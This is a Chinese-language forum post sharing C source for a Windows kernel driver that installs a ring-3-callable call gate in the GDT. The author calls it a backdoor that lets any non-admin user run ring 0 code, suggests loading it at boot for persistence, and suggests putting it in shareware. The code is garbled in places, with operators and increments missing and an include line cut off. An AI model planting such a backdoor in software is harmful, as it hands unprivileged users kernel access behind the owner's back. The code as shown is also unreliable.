捐一段任意用戶模式下執行 ring 0 的代碼,作共用軟體時用 |
|
jean2004
初階會員 發表:69 回覆:80 積分:39 註冊:2004-12-18 發送簡訊給我 |
任意用戶模式下執行 ring 0 代碼 眾所周知在非 Admin 用戶模式下,是不允許載入驅動執行 RING 0 代碼的。 本文提供了一種方法,通過修改系統 GDT,IDT 來添加自己的 CALLGATE 和 INTGATE 這樣便在系統中設置了一個後門。 我們就可以利用這個後門在任意用戶模式下執行 ring 0 代碼了。 為了保證我們添加的 CALLGATE 和 INTGATE 永久性。可以在第一次安裝時利用 SERVICE API 或 INF 檔設置成隨系統啟動。 不過此方法也有個缺陷,就是在第一次安裝 CALLGATE 或 INTGATE時仍然需要 ADMIN 許可權。下面分別給出了添加 CALLGATE 與 INTGATE 的具體代碼。 一、通過添加調用門實現 為了可以讓任意用戶來調用我們的 CALLGATE 需要解決一個小問題。 因為需要知道 CALLGATE 的 SELECTOR 後才可以調用。而在 RING 3 下除了能得到 GDT 的 BASE ADDRESS 和 LIMIT 外是無法訪問 GDT 內容的。 我本想在 RING 0 把 SELECTOR 保存到檔裏。在 RING 3 下讀取出來再調用。 後經過跟 wowocock 探討。他提出的思路是在 RING 0 下通過 ZwQuerySystemInformation 得到 NTDLL.DLL 的 MODULE BASE 然後根據PE HEADER 中的空閒處存放 SELECTOR。 這樣在 RING 3 的任意用戶模式下就很容易得到了。在這裏要特別感謝 wowocock。下面的代碼為了演示方便,用了在我機器上 GDT 中第一個空閒描述符的 SELECTOR 。 驅動程式: /***************************************************************** 檔案名 : WssAddCallGate.c 描述 : 添加調用門 作者 : sinister 最後修改日期 : 2002-11-02 *****************************************************************/ #include "ntddk.h" #include "string.h" #ifndef DWORD #define DWORD unsigned int #endif #ifndef WORD #define WORD unsigned short #endif #define LOWORD(l) ((unsigned short)(unsigned int)(l)) #define HIWORD(l) ((unsigned short)((((unsigned int)(l)) >> 16) & 0xFFFF)) typedef unsigned long ULONG; static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp); VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject); #pragma pack(push,1) typedef struct tagGDTR{ WORD wLimit; DWORD *dwBase; }GDTR, *PGDTR; typedef struct tagGDT_DESCRIPTOR{ unsigned limit : 16; unsigned baselo : 16; unsigned basemid : 8; unsigned type : 4; unsigned system : 1; unsigned dpl : 2; unsigned present : 1; unsigned limithi : 4; unsigned available : 1; unsigned zero : 1; unsigned size : 1; unsigned granularity : 1; unsigned basehi : 8; }GDT_DESCRIPTOR, *PGDT_DESCRIPTOR; typedef struct tagCALLGATE_DESCRIPTOR{ unsigned short offset_0_15; unsigned short selector; unsigned char param_count : 4; unsigned char some_bits : 4; unsigned char type : 4; unsigned char app_system : 1; unsigned char dpl : 2; unsigned char present : 1; unsigned short offset_16_31; } CALLGATE_DESCRIPTOR, *PCALLGATE_DESCRIPTOR; #pragma pack(pop) void __declspec(naked) Ring0Call() { PHYSICAL_ADDRESS PhyAdd; __asm { pushad pushfd cli } DbgPrint("WSS - My CallGate \n"); // // 這裏可以添加你想要執行的 ring 0 代碼。 // __asm { popfd popad retf } } VOID AddCallGate( ULONG FuncAddr ) { GDTR gdtr; PGDT_DESCRIPTOR gdt; PCALLGATE_DESCRIPTOR callgate; WORD wGDTIndex = 1; __asm { sgdt gdtr // 得到 GDT 基底位址與界限 } gdt = (PGDT_DESCRIPTOR) ( gdtr.dwBase 8 ); // 跳過空選擇子 while ( wGDTIndex < ( gdtr.wLimit / 8 ) ) { if ( gdt->present == 0 ) //從 GDT 中找到空描述符 { callgate = (PCALLGATE_DESCRIPTOR)gdt; callgate->offset_0_15 = LOWORD(FuncAddr); callgate->selector = 8; // 內核段選擇子 callgate->param_count = 0; // 參數複製數量 callgate->some_bits = 0; callgate->type = 0xC; // 386調用門 callgate->app_system = 0; // 系統描述符 callgate->dpl = 3; // RING 3 可調用 callgate->present = 1; // 設置存在位 callgate->offset_16_31 = HIWORD(FuncAddr); DbgPrint("Add CallGate\n"); return; } gdt ; wGDTIndex ; } } // 驅動入口 NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath ) { UNICODE_STRING nameString, linkString; PDEVICE_OBJECT deviceObject; NTSTATUS status; HANDLE hHandle; int i; //卸載驅動 DriverObject->DriverUnload = DriverUnload; //建立設備 RtlInitUnicodeString( &nameString, L"\\Device\\WssAddCallGate" ); status = IoCreateDevice( DriverObject, 0, &nameString, FILE_DEVICE_UNKNOWN, 0, TRUE, &deviceObject ); if (!NT_SUCCESS( status )) return status; RtlInitUnicodeString( &linkString, L"\\DosDevices\\WssAddCallGate" ); status = IoCreateSymbolicLink (&linkString, &nameString); if (!NT_SUCCESS( status )) { IoDeleteDevice (DriverObject->DeviceObject); return status; } AddCallGate((ULONG)Ring0Call); for ( i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i ) { DriverObject->MajorFunction[i] = MydrvDispatch; } DriverObject->DriverUnload = DriverUnload; return STATUS_SUCCESS; } //處理設備物件操作 static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { Irp->IoStatus.Status = STATUS_SUCCESS; Irp->IoStatus.Information = 0L; IoCompleteRequest( Irp, 0 ); return Irp->IoStatus.Status; } VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject) { UNICODE_STRING nameString; RtlInitUnicodeString( &nameString, L"\\DosDevices\\WssAddCallGate" ); IoDeleteSymbolicLink(&nameString); IoDeleteDevice(pDriverObject->DeviceObject); return; } 應用程式: #include發表人 - jean2004 於 2005/10/23 22:20:10 |
jean2004
初階會員 發表:69 回覆:80 積分:39 註冊:2004-12-18 發送簡訊給我 |
|
jean2004
初階會員 發表:69 回覆:80 積分:39 註冊:2004-12-18 發送簡訊給我 |
|
conundrum
尊榮會員 發表:893 回覆:1272 積分:643 註冊:2004-01-06 發送簡訊給我 |
|
8866
中階會員 發表:27 回覆:147 積分:69 註冊:2002-10-14 發送簡訊給我 |
|
jean2004
初階會員 發表:69 回覆:80 積分:39 註冊:2004-12-18 發送簡訊給我 |
本站聲明 |
1. 本論壇為無營利行為之開放平台,所有文章都是由網友自行張貼,如牽涉到法律糾紛一切與本站無關。 2. 假如網友發表之內容涉及侵權,而損及您的利益,請立即通知版主刪除。 3. 請勿批評中華民國元首及政府或批評各政黨,是藍是綠本站無權干涉,但這裡不是政治性論壇! |